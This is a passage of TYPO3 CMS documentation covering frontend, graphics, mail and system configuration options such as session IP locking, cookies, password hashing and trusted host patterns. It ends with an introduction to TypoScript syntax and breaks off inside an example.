compression and 9 is greatest compression.
true as value will set the
compression based on the PHP default settings (usually 5 ). Suggested and
most optimal value is 5.
If
TRUE, every frontend page is shown as "unavailable". If the
client matches [SYS][devIPmask], the page is
shown as normal. This is useful during temporary site maintenance.
If set, the pid of fe_user logins must be sent in the form as the field pid
and then the user must be located in the pid. If you unset this, you should
change the fe_users username eval-flag uniqueInPid to unique in $TCA.
This will do
$TCA[fe_users][columns][username][config][eval]= nospace,lower,required,unique;
Maximum amount of login attempts for the time interval in
[FE][loginRateLimitInterval],
before further login requests will be denied. Setting this value to
"0" will disable login rate limiting.
1 0 Default Do not lock Frontend User sessions to their IP address at all 1 Use the first part of the visitors IPv4 address (for example "192.") as part of the session locking of Frontend Users 2 Use the first two parts of the visitors IPv4 address (for example "192.168") as part of the session locking of Frontend Users 3 Use the first three parts of the visitors IPv4 address (for example "192.168.13") as part of the session locking of Frontend Users 4 Use the visitors full IPv4 address (for example "192.168.13.84") as part of the session locking of Frontend Users (highest security)
If activated, Frontend Users are locked to (a part of) their public IP
(
$_SERVER[REMOTE_ADDR]) for their session, if REMOTE_ADDR is an
IPv4-address. Enhances security but may throw off users that may change IP
during their session (in which case you can lower it). The integer indicates
how many parts of the IP address to include in the check for the session.
1 0 Default: Do not lock Backend User sessions to their IP address at all 1 Use the first block (16 bits) of the editors IPv6 address (for example "2001") as part of the session locking of Backend Users 2 Use the first two blocks (32 bits) of the editors IPv6 address (for example "20010db8") as part of the session locking of Backend Users 3 Use the first three blocks (48 bits) of the editors IPv6 address (for example "20010db885a3") as part of the session locking of Backend Users 4 Use the first four blocks (64 bits) of the editors IPv6 address (for example "20010db885a308d3") as part of the session locking of Backend Users 5 Use the first five blocks (80 bits) of the editors IPv6 address (for example "20010db885a308d31319") as part of the session locking of Backend Users 6 Use the first six blocks (96 bits) of the editors IPv6 address (for example "20010db885a308d313198a2e") as part of the session locking of Backend Users 7 Use the first seven blocks (112 bits) of the editors IPv6 address (for example "20010db885a308d313198a2e0370") as part of the session locking of Backend Users 8 Use the visitors full IPv6 address (for example "20010db885a308d313198a2e03707344") as part of the session locking of Backend Users (highest security)
If activated, Frontend Users are locked to (a part of) their public IP (
$_SERVER[REMOTE_ADDR]) for their session, if REMOTE_ADDR is an
IPv6-address. Enhances security but may throw off users that may change IP
during their session (in which case you can lower it).
The integer indicates how many parts of the IP address to include in the check for the session.
lifetime
lifetime
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['lifetime']
Default
0
If greater than 0 and the option permalogin is greater or equal 0, the
cookie of FE users will have a lifetime of the number of seconds this
value indicates. Otherwise it will be a session cookie (deleted when
browser is shut down). Setting this value to 604800 will result in automatic
login of FE users during a whole week, 86400 will keep the FE users logged in
for a day.
If greater than 0, the session data of an anonymous session will timeout
and be removed after the number of seconds given
(86400 seconds represents 24 hours).
permalogin
permalogin
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['permalogin']
Default
0
-1
Permanent login for FE users is disabled
0
By default permalogin is disabled for FE users but can be enabled by a
form control in the login form.
1
Permanent login is by default enabled but can be disabled by a form
control in the login form.
2
Permanent login is forced to be enabled.
In any case, permanent login is only possible if
[FE][lifetime] lifetime is greater than 0.
cookieDomain
cookieDomain
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieDomain']
Default
''
Same as $TYPO3_CONF_VARS[SYS][cookieDomain]<_typo3ConfVars_sys_cookieDomain>
but only for FE cookies. If empty,
$TYPO3_CONF_VARS[SYS][cookieDomain]
value will be used.
cookieName
cookieName
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['cookieName']
Default
'fe_typo_user'
Sets the name for the cookie used for the front-end user session
1 lax Cookies set by TYPO3 are only available for the current site, third-party integrations are not allowed to read cookies, except for links and simple HTML forms strict Cookies sent by TYPO3 are only available for the current site, never shared to other third-party packages none Allow cookies set by TYPO3 to be sent to other sites as well, please note - this only works with HTTPS connections
Indicates that the cookie should send proper information where the cookie
can be shared (first-party cookies vs. third-party cookies) in TYPO3 Frontend.
Enter additional directories to be prepended with absRefPrefix.
Directories must be comma-separated. TYPO3 already prepends the following
directories public/_assets/, public/typo3temp/ and all
local storages including public/fileadmin/.
In Classic mode installations without Composer typo3conf/ext
and typo3/ are also prefixed.
If enabled, pages that have no translation will be hidden by default.
Basically this will inverse the effect of the page localization setting
"Hide page if no translation for current language exists" to
"Show page even if no translation exists"
eID_include
eID_include
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['FE']['eID_include']
Default
[]
Array of key/value pairs where the key is
tx_[ext]_[optional suffix]
and value is relative filename of class to include.
Key is used as "?eID=" for
\TYPO3\CMS\Frontend\Http\RequestHandlerRequestHandler
to include the code file which renders the page from that point.
(Useful for functionality that requires a low initialization footprint,
for example frontend Ajax applications)
If set, the no_cache request parameter will become ineffective.
This is currently still an experimental feature and will require a website
only with plugins that dont use this parameter. However, using
"&no_cache=1" should be avoided anyway because there are better ways to
disable caching for a certain part of the website
(see COA_INT/USER_INT<t3tsref:cobj-coa-int>).
Configure Parameters that require a cHash. If no cHash is given but one of
the parameters are set, then TYPO3 triggers the configured cHash Error
behaviour
Configure Parameters that are only relevant for the cHash if there's an
associated value available. Set excludeAllEmptyParameters to true to skip
all empty parameters.
false (for existing installations), true (for new installations)
If this option is enabled, the same validation is used to calculate a
"cHash" value as when a valid or invalid "cHash" parameter is given to a
request, even when no "cHash" is given.
Note
The option is disabled for existing installations, but enabled for new
installations. It is also highly recommended to enable this option in
your existing installations as well.
Details:
Since TYPO3 v9 and the PSR-15 middleware concept,
cHash validation has been moved outside of plugins and rendering code inside
a validation middleware to check if a given "cHash" acts as a signature of
other query parameters in order to use a cached version of a frontend page.
However, the check only provided information about an invalid "cHash" in the
query parameters. If no "cHash" was given, the only option was to add a
"required list" (global TYPO3 configuration option
requireCacheHashPresenceParameters),
but not based on the final
excludedParameters
for the cache hash calculation of the given query parameters.
If set, points to an HTML file relative to the TYPO3_site root which will be
read and outputted as template for this message. Example
fileadmin/templates/template_workspace_preview_logout.html.
Inside you can put the marker
%1$s to insert the URL to go back to.
Use this in
<a href="%1$s">Go back...</a> links.
If enabled, included CSS and JS files loaded in the TYPO3 frontend will
have the timestamp embedded in the filename, for example,
filename.1676276352.js. This will make browsers and proxies reload
the files, if they change (thus avoiding caching issues).
Array to define the TypoScript parts that define the main content rendering.
Extensions like fluid_styled_content provide content rendering
templates. Other extensions like felogin or indexed search
extend these templates and their TypoScript parts are added directly after
the content templates.
Matches the LinkService implementations for generating URLs and link texts
via typolink. This configuration value can be used to register a
custom link builder for the frontend
generation of links.
Default value of $GLOBALS['TYPO3_CONF_VARS']['FE']['typolinkBuilder']
1
\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2iPasswordHash::class Good password hash mechanism. Used by default if available.
\TYPO3\CMS\Core\Crypto\PasswordHashing\Argon2idPasswordHash::class Good password hash mechanism.
\TYPO3\CMS\Core\Crypto\PasswordHashing\BcryptPasswordHash::class Good password hash mechanism.
\TYPO3\CMS\Core\Crypto\PasswordHashing\Pbkdf2PasswordHash::class Fallback hash mechanism if argon and bcrypt are not available.
\TYPO3\CMS\Core\Crypto\PasswordHashing\PhpassPasswordHash::class Fallback hash mechanism if none of the above are available.
If set, redirects executed by TYPO3 publicly expose the page ID in the HTTP
header. As this is an internal information about the TYPO3 system, it should
only be enabled for debugging purposes.
Configure the reporting HTTP endpoint of
Content Security Policy violations in the
frontend; if it is empty, the TYPO3 endpoint will be used.
Setting this configuration to '0' disables Content Security Policy
reporting. If the endpoint is still called then, the
server-side process responds with a 403 HTTP error message.
"webp" has been added to the list of default image file extensions.
If the underlying ImageMagick / GraphicsMagick library is not built with
WebP support, the server administrators can install or recompile the library
with WebP support by installing the "cwebp" or "dwebp" libraries.
Comma-separated list of file extensions recognized as images by TYPO3.
List should be set to
'gif,png,jpeg,jpg,webp', if ImageMagick /
GraphicsMagick is not available.
Caution
The file extensions must be in lowercase and there must be no spaces
between the commas and the file extensions!
If set, the [x] frame selector is appended to input filenames in
stdgraphic. This speeds up image processing for PDF files considerably.
Disable if your image processor or environment cant cope with the
frame selection.
If set, the processor_stripColorProfileCommand is used with all processor
image operations by default. See tsRef for setting this parameter explicitly
for IMAGE generation.
This option expected a string of command line parameters. The defined
parameters had to be shell-escaped beforehand, while the new option
GFX - graphics configuration expects
an array of strings that will be shell-escaped by TYPO3 when used.
The existing configuration will continue to be supported. Still, it is
suggested to use the new configuration format, as the Install Tool is
adapted to allow modification of the new configuration option only:
// Before
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileCommand'] = '+profile \'*\'';
// After
$GLOBALS['TYPO3_CONF_VARS']['GFX']['processor_stripColorProfileParameters'] = [
'+profile',
'*'
];
Specifies the parameters to strip the profile information, which can reduce
thumbnail size up to 60KB. Command can differ in IM/GM, IM also knows the
-strip command. See
imagemagick.org
for details.
The setting defaults to an empty value and - if not changed - is adjusted
automatically to the recommended colorspace for the given processor ("sRGB"
for ImageMagick, "RGB" for GraphicsMagick).
Specifies the colorspace to use. Defaults to "RGB" when using GraphicsMagick
as processor and "sRGB" when using
ImageMagick.
Note
Images would be rendered darker than the original when using ImageMagick
in combination with "RGB".
This setting has been removed. Temporarily saved masking images are
always saved as PNG files rather than GIF images.
gdlib
gdlib
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib']
Changed in version 13.0
This setting has been removed. GDLib functionality is enabled as soon as
relevant GDLib classes are found.
Custom code that relied on
$GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib']
should instead adopt the simpler check
if (class_exists(\GdImage::class)).
gdlib_png
gdlib_png
Path
$GLOBALS['TYPO3_CONF_VARS']['GFX']['gdlib_png']
Changed in version 13.0
This setting has been removed. Temporary layers/masks are always saved
as PNG files instead of GIF files.
HTTP - tune requests
HTTP configuration to tune how TYPO3 behaves on HTTP requests made by TYPO3.
See Guzzle documentation
for more background information on those settings.
Note
The configuration values listed here are keys in the global PHP array
$GLOBALS['TYPO3_CONF_VARS']['HTTP'] .
This variable can be set in one of the following files:
The Mailer API allows to send out templated emails, which can be configured
on a system-level to send out HTML-based emails or plain text emails, or
emails with both variants.
Sends messages over the (standardized) Simple Message Transfer Protocol.
It can deal with encryption and authentication. Most flexible option,
requires a mail server and configurations in transport_smtp_* settings
below. Works the same on Windows, Unix and MacOS.
sendmail
Sends messages by communicating with a locally installed MTA -
such as sendmail. See setting transport_sendmail_command below.
This does not send any mail out, but instead will write every outgoing mail
to a file adhering to the RFC 4155 mbox format, which is a simple text
file where the mails are concatenated. Useful for debugging the mail
sending process and on development machines which cannot send mails to the
outside. Configure the file to write to in the transport_mbox_file
setting below
classname
Custom class which implements
\Symfony\Component\Mailer\Transport\TransportInterface. The constructor
receives all settings from the MAIL section to make it possible to add
custom settings.
Some smtp-relay-servers require the domain to be set from which the sender is
sending an email. By default, the EsmtpTransport from Symfony will use the
current domain/IP of the host or container. This will be sufficient for
most servers, but some servers require that a valid domain is passed. If
this isn't done, sending emails via such servers will fail.
Setting a valid SMTP domain can be achieved by setting
transport_smtp_domain in the config/system/settings.php.
This will set the given domain to the EsmtpTransport agent and send the
correct EHLO-command to the relay-server.
only with transport=smtp Connects to the server using SSL/TLS
(disables STARTTLS which is used by default if supported by the server).
Must not be enabled when connecting to port 587, as servers will use
STARTTLS (inner encryption) via SMTP instead of SMTPS. It will automatically
be enabled if port is 465.
only with transport=smtp Sets the minimum number of seconds required
between two messages, before the server is pinged. If the transport
wants to send a message and the time since the last message exceeds
the specified threshold, the transport will ping the server first
(NOOP command) to check if the connection is still alive. Otherwise the
message will be sent without pinging the server first.
Note
Do not set the threshold too low, as the SMTP server may drop the
connection if there are too many non-mail commands
(like pinging the server with NOOP).
only with transport=mbox The file where to write the mails into.
This file will be conforming the mbox format described in RFC 4155. It is
a simple text file with a concatenation of all mails. Path must be absolute.
only with transport_spool_type=file Path where messages get temporarily
stored. Ensure that this is stored outside of your webroot.
dsn
dsn
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['dsn']
Default
''
only with transport=dsn The DSN configuration of the Symfony mailer
(for example smtp://userpass@smtp.example.org:25). Symfony provides different
mail transports like SMTP, sendmail or many 3rd party email providers like
AWS SES, Gmail, MailChimp, Mailgun and more. You can find all supported
providers in the
Symfony mailer documentation.
Set
[MAIL][dsn] to the configuration value described in the
Symfony mailer documentation (see above).
This default email address is used when no other "from" address is
set for a TYPO3-generated email. You can specify an email address only
(for example
'info@example.org)'.
This default email address is used when no other "reply-to" address is set
for a TYPO3-generated email. You can specify an email address only
(for example
'info@example.org').
Group for newly created files and folders (Unix only). Group ownership can
be changed on Unix file systems (see above). Set this if you want to change
the group ownership of created files/folders to a specific group.
This makes sense in all cases where the webserver is running with a
different user/group as you do. Create a new group on your system and add
you and the webserver user to the group. Now you can safely set the last
bit in fileCreateMask/folderCreateMask to 0 (for example 770). Important: The
user who is running your webserver needs to be a member of the group you
specify here! Otherwise you might get some error messages.
This is a "salt" used for various kinds of encryption, CRC checksums and
validations. You can enter any rubbish string here but try to keep it
secret. You should notice that a change to this value might invalidate
temporary information, URLs etc. At least, clear all cache if you change
this so any such information can be rebuilt with the new key.
Restricts the domain name for FE and BE session cookies. When setting the
value to ".example.org" (replace example.org with your domain!), login
sessions will be shared across subdomains. Alternatively, if you have more
than one domain with sub-domains, you can set the value to a regular
expression to match against the domain of the HTTP request. This however requires
that all sub-domains are within the same TYPO3 instance, because a session can be tied
to only one database.
The result of the match is used as the domain for the cookie. for example :
php:/\.(example1|example2)\.com$/ or
/\.(example1\.com)|(example2\.net)$/.
Separate domains for FE and BE can be set using
$TYPO3_CONF_VARS[FE][cookieDomain] and
$TYPO3_CONF_VARS[BE][cookieDomain]
respectively.
Regular expression pattern that matches all allowed hostnames (including
their ports) of this TYPO3 installation, or the string
SERVER_NAME
(default).
The default value
SERVER_NAME checks if the HTTP Host header equals
the SERVER_NAME and SERVER_PORT. This is secure in correctly configured
hosting environments and does not need further configuration. If you cannot
change your hosting environment, you can enter a regular expression here.
Examples:
.*\.example\.org matches all hosts that end with
.example.org with all corresponding subdomains.
.*\.example\.(org|com) matches all hostnames with
subdomains from .example.org and .example.com.
Be aware that HTTP Host header may also contain a port. If your installation
runs on a specific port, you need to explicitly allow this in your pattern,
for example
example\.org:88 allows only example.org:88,
notexample.org. To disable this check completely
(not recommended because it is insecure) you can use
.* as pattern.
Defines a list of IP addresses which will allow development output to
display. The
debug() function will use this as a filter. See the
function
\TYPO3\CMS\Core\Utility\GeneralUtilitycmpIP() for details
on syntax. Setting this to blank value will deny all.
Setting to "*" will allow all.
If you provide warranty for TYPO3 to your customers insert you (company)
name here. It will appear in the login-dialog as the warranty provider.
(You must also set URL below).
Add the URL where you explain the extend of the warranty you provide.
This URL is displayed in the login dialog as the place where people can
learn more about the conditions of your warranty. Must be set
(more than 10 chars) in addition with the
loginCopyrightWarrantyProvider
message.
Allows specifying file extensions that don't belong to either textfile_ext
or mediafile_ext, such as zip or xz.
binPath
binPath
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['binPath']
Default
''
List of absolute paths where external programs should be searched for.
for example
/usr/local/webbin/,/home/xyz/bin/. (ImageMagick path have to
be configured separately)
binSetup
binSetup
Type
multiline
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['binSetup']
Default
''
List of programs (separated by newline or comma). By default programs
will be searched in default paths and the special paths defined by
binPath. When PHP has
openbasedir
enabled, the programs can not be found and have to be configured here.
Memory limit in MB: If more than 16, TYPO3 will try to use
ini_set()
to set the memory limit of PHP to the value. This works only if the function
ini_set() is not disabled by your sysadmin.
phpTimeZone
phpTimeZone
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['phpTimeZone']
Default
''
Timezone to force for all
date() and
mktime() functions.
A list of supported values can be found at
php.net.
If blank, a valid fallback will be searched for by PHP (
date.timezone
in php.ini, server defaults, etc); and if no fallback is found, the value of
"UTC" is used instead.
If set to
true, then TYPO3 uses UTF-8 to store file names. This allows for accented
latin letters as well as any other non-latin characters like Cyrillic and
Chinese.
If set to
false, any file that contains characters like umlauts, or if the
file name consists only of "special" characters such as Japanese, then the file will be renamed to
something "safe" when uploaded in the backend.
Attention
This requires a UTF-8 compatible locale in order to work. Otherwise
problems with filenames containing special characters will occur.
See [SYS][systemLocale] and
php function setlocale().
Locale used for certain system related functions, for example escaping shell
commands. If problems with filenames containing special characters occur,
the value of this option is probably wrong. See
php function setlocale().
1 '', '*' or a comma separated list of IPv4 or IPv6 addresses in CIDR-notation. For IPv4 addresses wildcards are additionally supported.
If TYPO3 is behind one or more (intransparent) reverse
proxies or load balancers the IP addresses or CIDR ranges must be added here and
reverseProxyHeaderMultiValue must be set to first or last.
Position of the authoritative IP address within the X-Forwarded-For header
(for example, X-Forwarded-For: 1.2.3.4, 2.3.4.5, 3.4.5.6 uses 1.2.3.4
with first and 3.4.5.6 with last).
1 '', '*' or a comma separated list of IPv4 or IPv6 addresses in CIDR-notation. For IPv4 addresses wildcards are additionally supported.
* or a list of IP addresses of proxies that use SSL (https) for
the connection to the client, but an unencrypted connection (http) to
the server. If
* all proxies defined in
[SYS][reverseProxyIP] use SSL.
Prefix to be added to the internal URL (SCRIPT_NAME and REQUEST_URI)
when accessing the server via an SSL proxy. This setting overrides
[SYS][reverseProxyPrefix].
Live: Do not display any PHP error message. Sets
display_errors=0.
Overrides the value of
[SYS][exceptionalErrors]
and sets it to 0
(= no errors are turned into exceptions). The configured
[SYS][productionExceptionHandler]
is used as exception handler.
Classname to handle exceptions that might happen in the TYPO3-code. Leave
this empty to disable exception handling. The default exception handler displays
a nice error message when something goes wrong. The error message is
logged to the configured logs.
Note: The configured "productionExceptionHandler" is used if
[SYS][displayErrors] is set to "0"
or is set to "-1" and
[SYS][devIPmask] does not match the user's IP.
Classname to handle exceptions that might happen in the TYPO3 code. Leave
empty to disable the exception handling. The default exception handler
displays the complete stack trace of any encountered exception. The error
message and the stack trace is logged to the configured logs.
Note: The configured "debugExceptionHandler" is used if
[SYS][displayErrors] is set to "1" or
is set to "-1" or "2" and the [SYS][devIPmask]
matches the users IP.
Classname to handle PHP errors.
This class displays and logs all errors that are registered as
[SYS][errorHandlerErrors].
Leave empty to disable error handling. Errors will be logged and can be sent
to the optionally installed developer log or to the
syslog database table.
If an error is registered in
[SYS][exceptionalErrors]
it will be turned into an exception to be handled by the configured
exceptionHandler.
The E_* constant that will be converted into an exception by the default
[SYS][errorHandler]. Default is
4096 =
E_ALL & ~(E_STRICT | E_NOTICE | E_COMPILE_WARNING | E_COMPILE_ERROR | E_CORE_WARNING | E_CORE_ERROR | E_PARSE | E_ERROR | E_DEPRECATED | E_USER_DEPRECATED | E_WARNING | E_USER_ERROR | E_USER_NOTICE | E_USER_WARNING)
(see PHP documentation).
E_USER_DEPRECATED is always excluded to avoid exceptions to be thrown for deprecation messages.
Configures which PHP errors should be logged to the "syslog" database table
(extension belog). If set to "0" no PHP errors are logged to the
sys_log table. Default is 30711 =
E_ALL & ~(E_STRICT | E_NOTICE)
(see PHP documentation).
TYPO3 can create .htaccess files which are used by Apache Webserver.
They are useful for access protection or performance improvements. Currently
.htaccess files in the following directories are created,
if they do not exist: typo3temp/compressor/.
You want to disable this feature, if you are not running Apache or
want to use own rule sets.
1 0 Disabled - Do not modify IP addresses at all 1 Mask the last byte for IPv4 addresses / Mask the Interface ID for IPv6 addresses (default) 2 Mask the last two bytes for IPv4 addresses / Mask the Interface ID and SLA ID for IPv6 addresses
Configures if and how IP addresses stored via TYPO3s API should be anonymized
("masked") with a zero-numbered replacement. This is respected within
anonymization task only, not while creating new log entries.
A list of backend user IDs allowed to access the Install Tool
features
features
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']
New features of TYPO3 that are activated on new installations but upgrading
installations may still use the old behaviour.
These settings are feature toggles and can be
changed in the Backend module Settings in the section
Feature Toggles, but not in Configure Installation-Wide Options.
If on, some mime types are predefined for the "FileUpload" and "ImageUpload"
elements of the "form" extension, which always allows file uploads of these
types, no matter the specific form element definition.
If on, HTTP referrer headers are enforced for backend and install tool requests to mitigate
potential same-site request forgery attacks. The behavior can be disabled in case HTTP proxies filter
required referer header. As this is a potential security risk, it is recommended to enable this option.
This option configures, whether the show image controller (eID
tx_cms_showpic) is allowed to supply an unsecured &frame URI
parameter for backwards compatibility. The &frame parameter is not
utilized by the TYPO3 core itself anymore.
Resolving sites by the id and L HTTP query parameters is now denied by
default. However, it is still allowed to resolve a particular page by, for
example, "example.org" - as long as the page ID 123 is in the scope of the
site configured for the base URL "example.org".
The flag can be used to reactivate the previous behavior:
The feature toggle security.usePasswordPolicyForFrontendUsers has been
removed, because TypoScript-based password
validation in EXT:felogin has been removed, too.
A list of available password hash mechanisms. Extensions may register
additional mechanisms here.
$GLOBALS['TYPO3_CONF_VARS']['SYS']['linkHandler']
$GLOBALS['TYPO3_CONF_VARS']['SYS']['linkHandler']
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['linkHandler']
Links entered in the TYPO3 backend are stored in an internal format in the
database, like t3://page?uid=42. The handlers for the different resource
keys (like page in the example) are registered as link handlers.
The TYPO3 Core registers the following link handlers:
The attribute
approved of the XLIFF standard is
respected by TYPO3 since version 12.0 when parsing XLF files. This attribute
can either have the value
yes or
no and indicates whether the
translation is final or not.
<trans-unitid="label2"approved="yes"><source>This is label #2</source><target>Ceci est le libellé no. 2</target></trans-unit>
Copied!
This setting can be used to control the behavior:
true
Only translations with the attribute
approved set to
yes
will be used. Any non-approved translation (value is set to
no)
will be ignored. If the attribute
approved is omitted, the
translation is still taken into account.
see EXT:core/Configuration/DefaultConfiguration.php
Static mapping for file extensions to mime types. In special cases the mime
type is not detected correctly. Override this array only for cases where the
automatic detection does not work correctly!
It is not possible to change this value in the Backend!
A configuration option to adapt the environment check in the Admin Tools
for a list of sanctioned
disable_functions.
With this configuration option
a system maintainer can add native PHP function names to this list,
which are then reported as environment warnings instead of errors.
You can also define this in your settings.php file manually
or via Admin Tools > Settings > Configure options.
TypoScript
This chapter describes the syntax of TypoScript. The TypoScript syntax
and its parser logic is mainly used in two different contexts: Frontend TypoScript
to configure frontend rendering and TSconfig to configure backend details
for backend users.
While the underlying TypoScript syntax is described in this chapter, both use cases
and their details are found in standalone manuals:
The TypoScript Reference goes into details about the
usage of TypoScript in the frontend and backend.
A quick kick start to frontend TypoScript is available at
TypoScript guide.
Note
The TypoScript parser has been rewritten with TYPO3 v12. The new implementation is
more resilient and more performant. This chapter has been rewritten for TYPO3 v12.
Some hints are given throughout the document where the new parser is more relaxed
or more strict. Refer to
older versions
of this chapter when using TYPO3 versions older than v12. More details of changes implemented with the
new parser can be found in this Breaking: #97816 - TypoScript syntax changes
and this Feature: #97816 - TypoScript syntax improvements
changelog entries.
People are sometimes confused about what TypoScript is, where it can
be used, and have a tendency to think of it as something complex. This
chapter has been written to clarify these assumptions a bit.
Let's start with a basic truth: TypoScript is an efficient syntax for defining
information in a hierarchical structure based on plain text.
This means TypoScript does not "do" anything - it just structures information.
It's more similar to a markup language
like HTML than to a full fledged programming language. Interpreting TypoScript
is done in a certain context where single keywords get "meaning" by triggering some
processing. For instance, the frontend rendering chain "understands"
page = PAGE and sets up certain frontend output related scaffolding
due to this.
In more academic terms, TypoScript is notTuring-complete:
While there is a concept of "if" (see "conditions"), it is not possible
to define dynamic variables ("constants" in TypoScript can't change their value
at runtime), and it's also not possible to have programming loops
as such. Interpreting TypoScript is done by PHP which may trigger programming
loops based on TypoScript configuration, but the syntax does not contain such
a construct itself.
TypoScript does not contain data, but configuration: Data is typically stored
in the database, edited by backend editors, and (frontend) TypoScript is only used
to configure which specific data is retrieved from the database and how it should be
processed to prepare output. In the backend, TypoScript (which we call TSconfig
in this scope) is used to toggle PHP backend controller functionality,
for instance, to enable or disable UI elements, to change defaults, and
similar.
TypoScript parsing
Both the frontend and the backend deal with TypoScript syntax. The parser,
which translates TypoScript text snippets into some structure (an object tree
or a PHP array), that can be interpreted by the frontend or the backend, is
thus a core concept and located in the core extension. Integrators and
developers don't have to directly deal with the parser in most cases, the system
provides higher level API doing all the dirty groundwork.
Developers and integrators with knowledge of PHP can think of the parsed
TypoScript as a multidimensional PHP array. In comparison to arrays in PHP,
TypoScript syntax allows a more relaxed handling of syntax errors, definition of
values with less needed language symbols and an efficient way to copy and
unset bigger sub arrays.
The TypoScript Syntax can be used for both Frontend TypoScript and TSconfig as
backend configuration langauge.
The syntax works different then other known configuration languages, therefore
it takes some time to get used to it.
Frontend TypoScript
TypoScript in the frontend is the "glue" between database records edited
by backend editors, and their output to the website.
It is very powerful and this abstraction layer is one reason that the TYPO3
project survives the ever evolving internet since more than 25 years.
The TypoScript Reference goes into details about the
usage of TypoScript in the frontend, and the TypoScript guide
is a kickstart for new TypoScript integrators.
TSconfig
"user TSconfig" and "page TSconfig" are very flexible concepts for
adding fine-grained configuration to the TYPO3 backend. It is a text-based
configuration system where you assign values to keyword strings,
using the TypoScript syntax. The
Page TSconfig Reference and
User TSconfig reference
describe in detail how this works and what can be done with it.
User TSconfig
User TSconfig can be set for backend users and groups.
Configuration set for backend groups is inherited by the user who is a
member of those groups. The available options typically cover user
settings like those found in the User Settings module, various backend tweaks
(lock user to IP, may user clear caches?, etc.) and backend module configuration.
Page TSconfig
Page TSconfig can be set for each page in the page tree. Pages
inherit configuration from parent pages. The available
options typically cover backend module configuration, which means that
modules related to pages can be configured for different behaviours in different
branches of the tree.
It also includes configuration for the FormEngine (Forms
to edit content in TYPO3) and the DataHandler
(component that takes care of transforming and persisting data
structures) behaviours. Again, the point is that the configuration is
active for certain branches of the page tree which is useful
in projects running many sites in the same page tree.
PHP API
With the rewrite of the TypoScript parser in TYPO3 v12, the parsing logic
itself has been entirely marked as internal. Developers typically do not
need to deal with all the nasty details and some parts of the parser are
still subject to change.
Developers who really need to parse own TypoScript snippets, should have
a look at the factory classes located in EXT:core/Classes/TypoScript/,
though. They are marked
@internal as well, but may be opened in the
future. Use them on your own risk at the moment.
TYPO3 already provides frontend TypoScript and TSconfig. Use these APIs for other use cases:
Page TSconfig
The page TSconfig for a specific page can be retrieved using
\TYPO3\CMS\Backend\Utility\BackendUtility::getPagesTSconfig(). While
the parser creates a tree of PHP objects internally, this method returns only
the array representation of the parsed TypoScript:
EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Backend\Utility\BackendUtility;// Get the page TSconfig for the page with uid 42
$pageTsConfig = BackendUtility::getPagesTSconfig(42);
Frontend TypoScript plays an important role to create, determine und use the correct page
caches, the details in this area are pretty complex. With the continued refactoring of
the frontend parsing chain, this part will evolve in the future and further API will
evolve allowing extensions to parse TypoScript more easily.
However, extension controllers that need the parsed TypoScript can access the parsed
setup as array:
This section contains a few remarks and answers to questions you may
still have.
Myth: "TypoScript Is a scripting language"
This is misleading to say since you will think that TypoScript is like
PHP or JavaScript while it is not. From the previous pages you have
learned that TypoScript strictly speaking is just a syntax. However
when the TypoScript syntax is applied to create output based on frontend
TypoScript, then it begins to look like programming.
In any case TypoScript is not comparable to a scripting language like
PHP or JavaScript. TypoScript is only an API which is often used to
configure underlying PHP code.
Finally the name "TypoScript" is misleading as well. We are sorry
about that: Too late to change that now.
Myth: "TypoScript has the same syntax as JavaScript"
TypoScript was designed to be simple to use and understand. Therefore
the syntax looks like JavaScript objects to some degree. But again: It
is very dangerous to say this since it all stops with the syntax -
TypoScript is not a procedural programming language!
Myth: "TypoScript is a proprietary standard"
Since TypoScript is not a scripting language it does not make sense to
claim this in comparison to PHP, JavaScript or whatever
scripting language.
However, compared to XML or PHP arrays you can say that TypoScript is a
proprietary syntax since a PHP array or XML file could be used to contain the
same information as TypoScript does. But this is not a drawback. For
storage and exchange of content TYPO3 uses SQL (or XML if you need
to), for storage of configuration values XML is not suitable
anyways - TypoScript is much better at that job.
To claim that TypoScript is a proprietary standard as an argument
against TYPO3 is really unfair since the claim makes it sound like
TypoScript is a whole new programming language or likewise. Yes, the
TypoScript syntax is proprietary but extremely useful and when you
get the hang of it, it is very easy to use. In all other cases TYPO3
uses official standards like PHP, SQL, XML, XHTML etc. for all
external data storage and manipulation.
The most complex use of TypoScript is probably with the frontend TypoScript.
It is understandable that TypoScript has earned a reputation of being
complex when you consider how much of the Frontend
Engine you can configure through frontend TypoScript. But
basically TypoScript is just an API to the PHP functions underneath.
And if you think there are a lot of options there it would be no
better if you were to use the PHP functions directly! Then there would
be maybe even more API documentation to explain the API and you
wouldn't have the streamlined abstraction provided by TypoScript
Templates. This just served to say: The amount of features and the
time it would take to learn about them would not be eliminated, if
TypoScript was not invented!
Myth: "TypoScript is very complex"
TypoScript is simple in nature. But certainly it can quickly become
complex and get "out of hand" when the amount of code lines grows!
This can partly be solved by:
Disciplined coding: Organize your TypoScript in a way that you can
visually comprehend.
Use the backend modules to analyze and clean up your code. This
gives you overview as well.
FAQ: "Why not XML Instead?"
A few times TypoScript has been compared with XML since both
"languages" are frameworks for storing information. Apart from XML
being a W3C standard (and TypoScript still not... :-) ) the main
difference is that XML is great for large amounts of information with
a high degree of "precision" while TypoScript is great for small
amounts of "ad hoc" information - like configuration values normally
are.
Actually a data structure defined in TypoScript could also have been
modeled in XML. Let's present this fictitious example of how a TypoScript
structure could also have been implemented in "TSML" (our fictitious
name for the non-existing TypoScript Mark-Up Language):
styles.content.bulletlist = TEXT
styles.content.bulletlist {
stdWrap.current = 1
stdWrap.trim = 1
stdWrap.if.isTrue.current = 1
# Copying the object "styles.content.parseFunc" to this position
stdWrap.parseFunc < styles.content.parseFunc
stdWrap.split {
token.char = 10
cObjNum = 1
1.current < .cObjNum
